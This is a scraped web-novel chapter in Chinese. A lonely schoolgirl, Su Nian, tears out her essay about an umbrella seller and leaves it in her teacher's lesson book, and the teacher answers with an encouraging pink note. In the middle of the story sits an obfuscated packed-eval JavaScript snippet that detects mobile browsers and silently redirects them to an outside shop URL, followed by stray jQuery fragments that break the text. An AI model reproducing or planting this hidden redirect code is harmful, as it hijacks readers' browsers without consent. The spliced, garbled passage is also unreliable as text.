文趣网 > 都市小说 > 她曾在我的十四岁停留 > 16. 便签纸
    周日晚上,出租屋。

    苏念坐在缺了角的书桌前,面前摊着日记本。

    左边一页是昨天的日期,右边一页没有日期,是一篇随笔。

    题目,《巷口》。

    前天放学下雨,她没带伞,在文具店屋檐下躲雨。巷口有个卖伞的老人,别人都在抱怨雨天泥泞,只有老人看着雨水打在伞面上,笑眯眯的。

    苏念当时写了一句:黑色的伞面撑开,雨天才开花。

    她盯着这页纸,手指捏住右上角的纸页边缘。

    松开。

    又捏住。

    王建国念她周记时的哄笑声,刘国强板着脸强调期中考试的声音,在脑子里搅成一团。

    舌根底下,泛起九制话梅的酸甜。

    苏念拿过塑料直尺,压/在内/侧装订线上,左手按紧,右手捏住纸页边缘,用力一扯。

    刺啦。

    纸张沿着直尺边缘断开,留下毛糙的齿痕。

    她把这张纸对折,再对折,折成一个小方块,塞进校服外套口袋。

    周一早上六点十分。

    初二(3)班教室。

    前门推开,门轴摩/擦着发出涩响。

    教室里一个人也没有,刚拖过的水磨石地板,散发着刺鼻的消毒水味。

    黑板擦得干干净净。

    讲台上放着一本蓝色封皮的备课本,旁边是一盒白色粉笔。

    苏念走过去,停在讲台前。

    手伸/进口袋,摸到那个纸方块。

    拿出来。

    她翻开蓝色备课本的硬纸板封面,里面是第一页教案。

    苏念把纸方块夹在封面和第一页之间。

    合上备课本,纸块的厚度让封面翘起一个角,她伸手在上面压了两下。

    转身,走回最后一排靠窗的位置。

    拉开椅子坐下,拿出英语课本立在桌上,挡住自己的脸。

    七点半,早读铃响。

    走廊上全是跑动和喊叫。

    陈小满把书包塞进桌斗,拉开椅子坐下。

    “早。”陈小满打着哈欠。

    苏念没出声。

    第一节是语文课。

    林知意从前门走进来,今天穿了件浅灰色针织衫,长发扎成低马尾。

    帆布包放在讲桌上。

    苏念坐在最后一排,视线越过前面五排学生的头顶,落到讲台上。

    林知意伸手,翻开那本蓝色备课本。

    苏念停了呼吸,脊背挺得笔直,肩胛骨死死抵着木椅背。

    林知意的动作顿了一下。

    两秒后,她把备课本往旁边一推,拿起一截粉笔,转身在黑板上写下《背影》两个字。

    看到了吗?

    还是当成废纸扔了。

    会不会是别人提前翻开拿走了。

    苏念的眼睛钉在蓝色备课本上,手里的圆珠笔在草稿纸上画圈,笔尖用力,划破了纸页。

    陈小满正在桌斗里剥橘子,剥好一瓣塞进嘴里,转头看苏念。

    平时语文课,苏念的课本底下总压着《呐喊》或者《边城》,今天桌面上只有一本语文书。

    陈小满顺着苏念的视线看过去,讲台上只有林老师在讲课,什么都没有。闲书都不看了,发什么神经。陈小满把半个橘子推过去。

    苏念没理。

    周雨晴坐在第一排正中间。

    她举手回答了两个关于朱自清的问题,林知意表扬了她。

    周雨晴坐下时,回头扫了一眼全班。

    目光扫过最后一排,苏念平时都低着头,今天却抬着头,死盯着讲台方向。

    周雨晴转回身,后排那个透明人今天吃错药了。

    下课铃响。

    林知意拿起备课本和帆布包走出教室。

    苏念看着走廊,直到那个人影消失在拐角。

    第二节课下课,课间操。

    操场上播放着第八套广播体操的音乐。

    苏念站在队伍最后,胳膊腿抬得有气无力。

    做完操回教室,路过讲台,上面空空如也。

    下午第一节是数学。

    刘国强抱着一沓随堂测验卷子走进来。

    “把书收起来,测验。”

    卷子发下来,苏念拿起笔做题。

    填空题做到一半,她抬头看讲台,刘国强坐在椅子上批改作业。

    那张纸到底去了哪里。

    林知意看没看,看了会怎么想。

    “写得什么乱七八糟的,不务正业。”王建国的声音在脑子里响起来。

    苏念咬住下嘴唇,牙齿陷进皮肉,一股铁锈味在舌尖散开。

    胃里一阵阵发紧。

    早知道就不该撕下来,安安静静待在墙角多好,为什么要主动送上去。一包话梅而已,自己还当真了。

    她低下头,继续算几何题,笔尖在草稿纸上划得很重。

    下午五点半,放学铃响。

    教室里桌椅碰撞声响成一片。

    张逸飞把书包甩到肩上,一脚踢开后门,一个塑料水瓶滚到了走廊上。

    李浩在前面喊人去操场打球。

    周雨晴拿着黑板擦擦黑板,粉笔灰簌簌往下掉。

    苏念把文具盒装进书包,拉链拉到一半卡住了。她扯了两下,没拉动。

    前门传来脚步声。

    林知意走了进来,没拿备课本,也没拿帆布包,手里捏着一张粉色的便签纸。

    周雨晴停下动作:“林老师,明天早读任务写黑板上了。”

    林知意点头,没在讲台停留,直接走下台阶。

    穿过第一排,穿过第二排。

    走道里背着书包的学生纷纷让开。

    林知意一直走到教室最后一排,停在苏念的课桌旁。

    周雨晴站在讲台上,视线跟着林知意。林老师平时下课找人说话,都是找前排的班委,今天怎么一直往后走,停在了苏念桌边。周雨晴把黑板擦扔进粉笔盒,那个连黑板报都不配参与的透明人,林老师找她干什么。

    苏念还在跟书包拉链较劲,一双白色帆布鞋停在桌边。

    她停下动作,抬头。

    林知意没说话,把那张粉色便签纸放在苏念的课桌上。

    纸张边缘贴着双面胶。

    林知意的手指在便签纸上点了两下,然后对苏念笑了,眼尾弯起,露出酒窝。

    她转身原路返回,走出了前门。

    整个过程不到半分钟。

    陈小满背着书包站在过道里,看着林知意走出去,又转头看苏念桌上的粉色纸条。

    “林老师给你什么了?”陈小满凑过来。

    苏念手掌一翻,盖住便签纸。

    “没什么。”

    陈小满撇嘴:“不看就不看,我还不稀罕呢,明天见。”

    “明天见。”

    教室里的人走/光了。

    值日生倒完垃圾,拿着扫把离开。

    走廊上安静下来。

    苏念把手拿开。

    粉色的便签纸,左上角印着一只简笔画小猫。纸上有股肥皂的清香,不是那种廉价香精。

    字迹是黑色中性笔写的,字体圆润,带点学生气,没有王建国那种居高临下的板正,也没有刘国强写板书时的潦草。</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849269|211777||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    苏念低头看。

    “写得真好,卖伞的老人那段我读了三遍。‘雨天才开花’这个比喻很美,有时间多写给我看。——林老师”

    苏念盯着这几行字。

    读了三遍。

    她写这篇随笔只用了十分钟,林知意读了三遍。王建国念她的周记,只念了一遍,还是当反面教材。

    雨天才开花。

    这是她随手写的一句话,阴沉的下雨天,黑色的伞撑开,是在灰暗里开出了一朵花。没人教过她修辞手法,她只是把看到的写下来。

    多写给我看。

    这不是命令,也不是作业,是请求。

    窗外起了风,操场上的灰尘被卷起,打在玻璃窗上沙沙作响。

    苏念把便签纸从桌面上揭下来,动作很慢,生怕撕坏背面的双面胶。

    把纸对折,再对折。

    折成一个很小的方块。

    她拉开书包最里层的拉链,拿出日记本。

    翻开硬纸板封面,把粉色小方块夹在扉页和第一页的缝隙里。

    把日记本重新装进书包,拉上拉链。这次拉链很顺,一下就拉到了底。

    回到城中村出租屋。

    姜翠花在厨房剁肉馅,菜刀砍在木砧板上,砰砰作响。

    “电费交了吗?”姜翠花在厨房里喊。

    “交了。”苏念把收据放在饭桌上。

    “洗手吃饭,今天买的打折肉,包饺子。”

    苏念走到水槽边洗手,凉水冲着手指。

    晚饭吃了十五个饺子,破皮的两个,姜翠花自己吃了,完整的都拨到苏念碗里,蘸料是陈醋加了点香油。

    苏念咬开一个饺子,白菜猪肉馅。

    “隔壁刘阿姨今天买了一箱牛奶,说她儿子做题辛苦要补脑。”姜翠花往苏念碗里夹饺子,“你妈下个月不寄钱,咱们省着点。我明天去菜市场捡点便宜菜叶子。”

    苏念把饺子咽下去:“嗯。”

    今天的唠叨,听着不那么刺耳了。醋的酸味在嘴里散开,让她想起中午那颗话梅。

    吃完饭,洗碗,擦桌子。

    晚上八点,苏念回到房间。

    关上门。

    拉开抽屉,拿出日记本。

    翻开扉页,那个粉色小方块安静地躺在里面。

    她没打开,只是用手指摸了摸纸张的厚度。

    翻到空白页,拿起圆珠笔。

    平时写日记,她下笔很快,今天笔尖停在纸上,半天没动。

    最后,她在纸上画了一把伞,伞面撑开,下面画了几个雨滴。

    没有写字。

    合上日记本,关灯。

    单人床靠着墙,墙皮脱落的地方有点硌人。

    苏念翻了个身,把日记本抱在胸口,硬纸板封面贴着校服短袖。

    窗外野猫没叫,隔壁楼也没人骂街。

    很安静。

    第二天早上六点。

    闹钟响了,苏念按掉。

    起床,穿校服,洗脸刷牙。

    水槽上方有一面巴掌大的镜子,边缘生了锈,镜面有几道水渍,挡住了一半眼睛。

    苏念拿毛巾把水渍擦掉。

    抬头。

    她没什么表情,就那么看着镜子里的自己。

    头发有点乱,黑眼圈还在,穿着宽大的校服,短发贴在耳边。

    肩膀不自觉地舒展开,不再是平时那副缩着的样子。

    昨天之前,她总躲着镜子。

    今天再看这面镜子,顺眼了一点。

    她拿梳子把头发梳平,背起书包出门,踩过青石板上的水坑,往学校走去。